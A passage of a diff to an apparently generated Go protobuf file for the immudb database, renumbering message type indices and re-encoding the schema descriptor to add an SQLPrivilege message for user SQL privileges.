protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8903,7 +8896,7 @@ func (x *TruncateDatabaseResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use TruncateDatabaseResponse.ProtoReflect.Descriptor instead. func (*TruncateDatabaseResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{124} + return file_schema_proto_rawDescGZIP(), []int{125} } func (x *TruncateDatabaseResponse) GetDatabase() string { @@ -8926,7 +8919,7 @@ type Precondition_KeyMustExistPrecondition struct { func (x *Precondition_KeyMustExistPrecondition) Reset() { *x = Precondition_KeyMustExistPrecondition{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[125] + mi := &file_schema_proto_msgTypes[126] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8939,7 +8932,7 @@ func (x *Precondition_KeyMustExistPrecondition) String() string { func (*Precondition_KeyMustExistPrecondition) ProtoMessage() {} func (x *Precondition_KeyMustExistPrecondition) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[125] + mi := &file_schema_proto_msgTypes[126] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8952,7 +8945,7 @@ func (x *Precondition_KeyMustExistPrecondition) ProtoReflect() protoreflect.Mess // Deprecated: Use Precondition_KeyMustExistPrecondition.ProtoReflect.Descriptor instead. func (*Precondition_KeyMustExistPrecondition) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{13, 0} + return file_schema_proto_rawDescGZIP(), []int{14, 0} } func (x *Precondition_KeyMustExistPrecondition) GetKey() []byte { @@ -8975,7 +8968,7 @@ type Precondition_KeyMustNotExistPrecondition struct { func (x *Precondition_KeyMustNotExistPrecondition) Reset() { *x = Precondition_KeyMustNotExistPrecondition{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[126] + mi := &file_schema_proto_msgTypes[127] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8988,7 +8981,7 @@ func (x *Precondition_KeyMustNotExistPrecondition) String() string { func (*Precondition_KeyMustNotExistPrecondition) ProtoMessage() {} func (x *Precondition_KeyMustNotExistPrecondition) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[126] + mi := &file_schema_proto_msgTypes[127] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9001,7 +8994,7 @@ func (x *Precondition_KeyMustNotExistPrecondition) ProtoReflect() protoreflect.M // Deprecated: Use Precondition_KeyMustNotExistPrecondition.ProtoReflect.Descriptor instead. func (*Precondition_KeyMustNotExistPrecondition) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{13, 1} + return file_schema_proto_rawDescGZIP(), []int{14, 1} } func (x *Precondition_KeyMustNotExistPrecondition) GetKey() []byte { @@ -9026,7 +9019,7 @@ type Precondition_KeyNotModifiedAfterTXPrecondition struct { func (x *Precondition_KeyNotModifiedAfterTXPrecondition) Reset() { *x = Precondition_KeyNotModifiedAfterTXPrecondition{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[127] + mi := &file_schema_proto_msgTypes[128] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9039,7 +9032,7 @@ func (x *Precondition_KeyNotModifiedAfterTXPrecondition) String() string { func (*Precondition_KeyNotModifiedAfterTXPrecondition) ProtoMessage() {} func (x *Precondition_KeyNotModifiedAfterTXPrecondition) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[127] + mi := &file_schema_proto_msgTypes[128] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9052,7 +9045,7 @@ func (x *Precondition_KeyNotModifiedAfterTXPrecondition) ProtoReflect() protoref // Deprecated: Use Precondition_KeyNotModifiedAfterTXPrecondition.ProtoReflect.Descriptor instead. func (*Precondition_KeyNotModifiedAfterTXPrecondition) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{13, 2} + return file_schema_proto_rawDescGZIP(), []int{14, 2} } func (x *Precondition_KeyNotModifiedAfterTXPrecondition) GetKey() []byte { @@ -9100,1730 +9093,1726 @@ var file_schema_proto_rawDesc = []byte{ 0x28, 0x09, 0x52, 0x09, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x61, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x12, 0x41, 0x0a, 0x0d, 0x73, 0x71, 0x6c, 0x50, 0x72, 0x69, 0x76, - 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x0e, 0x32, 0x1b, 0x2e, 0x69, + 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x52, 0x0d, 0x73, 0x71, 0x6c, 0x50, 0x72, - 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x22, 0x35, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, - 0x4c, 0x69, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x75, 0x73, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x52, 0x05, 0x75, 0x73, 0x65, 0x72, 0x73, 0x22, - 0x7f, 0x0a, 0x11, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x75, 0x73, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x04, 0x75, 0x73, 0x65, 0x72, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x73, 0x73, - 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, - 0x77, 0x6f, 0x72, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x22, 0x21, 0x0a, 0x0b, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x12, 0x0a, 0x04, 0x75, 0x73, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x75, - 0x73, 0x65, 0x72, 0x22, 0x6f, 0x0a, 0x15, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, - 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, - 0x75, 0x73, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x75, 0x73, 0x65, 0x72, - 0x12, 0x20, 0x0a, 0x0b, 0x6f, 0x6c, 0x64, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0b, 0x6f, 0x6c, 0x64, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, - 0x72, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x6e, 0x65, 0x77, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, - 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0b, 0x6e, 0x65, 0x77, 0x50, 0x61, 0x73, 0x73, - 0x77, 0x6f, 0x72, 0x64, 0x22, 0x3e, 0x0a, 0x0c, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x75, 0x73, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x04, 0x75, 0x73, 0x65, 0x72, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x73, 0x73, - 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, - 0x77, 0x6f, 0x72, 0x64, 0x22, 0x3f, 0x0a, 0x0d, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x77, - 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x77, 0x61, - 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x22, 0x20, 0x0a, 0x0a, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, - 0x66, 0x69, 0x67, 0x12, 0x12, 0x0a, 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x22, 0x26, 0x0a, 0x0a, 0x4d, 0x54, 0x4c, 0x53, 0x43, - 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x18, 0x0a, 0x07, 0x65, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x65, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x22, - 0x70, 0x0a, 0x12, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, - 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0c, 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x22, 0x0a, - 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, - 0x65, 0x22, 0x53, 0x0a, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x73, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x0a, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, - 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x73, 0x65, 0x72, 0x76, - 0x65, 0x72, 0x55, 0x55, 0x49, 0x44, 0x22, 0x80, 0x04, 0x0a, 0x0c, 0x50, 0x72, 0x65, 0x63, 0x6f, - 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x5a, 0x0a, 0x0c, 0x6b, 0x65, 0x79, 0x4d, 0x75, - 0x73, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x34, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, - 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x4b, 0x65, 0x79, 0x4d, 0x75, - 0x73, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, - 0x69, 0x6f, 0x6e, 0x48, 0x00, 0x52, 0x0c, 0x6b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x45, 0x78, - 0x69, 0x73, 0x74, 0x12, 0x63, 0x0a, 0x0f, 0x6b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x4e, 0x6f, - 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x37, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, - 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x4b, 0x65, 0x79, 0x4d, 0x75, 0x73, - 0x74, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, - 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x48, 0x00, 0x52, 0x0f, 0x6b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, - 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x12, 0x75, 0x0a, 0x15, 0x6b, 0x65, 0x79, 0x4e, - 0x6f, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x41, 0x66, 0x74, 0x65, 0x72, 0x54, - 0x58, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x22, 0x48, 0x0a, 0x0c, 0x53, 0x51, 0x4c, 0x50, + 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x70, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x70, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, + 0x67, 0x65, 0x22, 0x35, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x29, + 0x0a, 0x05, 0x75, 0x73, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, + 0x65, 0x72, 0x52, 0x05, 0x75, 0x73, 0x65, 0x72, 0x73, 0x22, 0x7f, 0x0a, 0x11, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, + 0x0a, 0x04, 0x75, 0x73, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x75, 0x73, + 0x65, 0x72, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x1e, + 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, + 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x21, 0x0a, 0x0b, 0x55, 0x73, + 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x75, 0x73, 0x65, + 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x75, 0x73, 0x65, 0x72, 0x22, 0x6f, 0x0a, + 0x15, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x75, 0x73, 0x65, 0x72, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x75, 0x73, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x6f, 0x6c, + 0x64, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x0b, 0x6f, 0x6c, 0x64, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x20, 0x0a, 0x0b, + 0x6e, 0x65, 0x77, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x0b, 0x6e, 0x65, 0x77, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x22, 0x3e, + 0x0a, 0x0c, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, + 0x0a, 0x04, 0x75, 0x73, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x75, 0x73, + 0x65, 0x72, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x22, 0x3f, + 0x0a, 0x0d, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, + 0x14, 0x0a, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, + 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x77, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x77, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x22, + 0x20, 0x0a, 0x0a, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x12, 0x0a, + 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x6b, 0x69, 0x6e, + 0x64, 0x22, 0x26, 0x0a, 0x0a, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, + 0x18, 0x0a, 0x07, 0x65, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x07, 0x65, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x22, 0x70, 0x0a, 0x12, 0x4f, 0x70, 0x65, + 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, + 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x70, + 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x53, 0x0a, 0x13, 0x4f, + 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, + 0x12, 0x1e, 0x0a, 0x0a, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x55, 0x55, 0x49, 0x44, + 0x22, 0x80, 0x04, 0x0a, 0x0c, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, + 0x6e, 0x12, 0x5a, 0x0a, 0x0c, 0x6b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x45, 0x78, 0x69, 0x73, + 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x34, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, - 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x4b, 0x65, 0x79, 0x4e, 0x6f, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, - 0x69, 0x65, 0x64, 0x41, 0x66, 0x74, 0x65, 0x72, 0x54, 0x58, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, - 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x48, 0x00, 0x52, 0x15, 0x6b, 0x65, 0x79, 0x4e, 0x6f, 0x74, - 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x41, 0x66, 0x74, 0x65, 0x72, 0x54, 0x58, 0x1a, - 0x2c, 0x0a, 0x18, 0x4b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x50, - 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x10, 0x0a, 0x03, 0x6b, - 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x1a, 0x2f, 0x0a, - 0x1b, 0x4b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, - 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x10, 0x0a, 0x03, - 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x1a, 0x49, - 0x0a, 0x21, 0x4b, 0x65, 0x79, 0x4e, 0x6f, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, - 0x41, 0x66, 0x74, 0x65, 0x72, 0x54, 0x58, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, - 0x69, 0x6f, 0x6e, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, - 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x04, 0x74, 0x78, 0x49, 0x44, 0x42, 0x0e, 0x0a, 0x0c, 0x70, 0x72, 0x65, - 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x69, 0x0a, 0x08, 0x4b, 0x65, 0x79, - 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x35, 0x0a, - 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x4b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x45, 0x78, 0x69, 0x73, + 0x74, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x48, 0x00, 0x52, + 0x0c, 0x6b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x12, 0x63, 0x0a, + 0x0f, 0x6b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x37, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 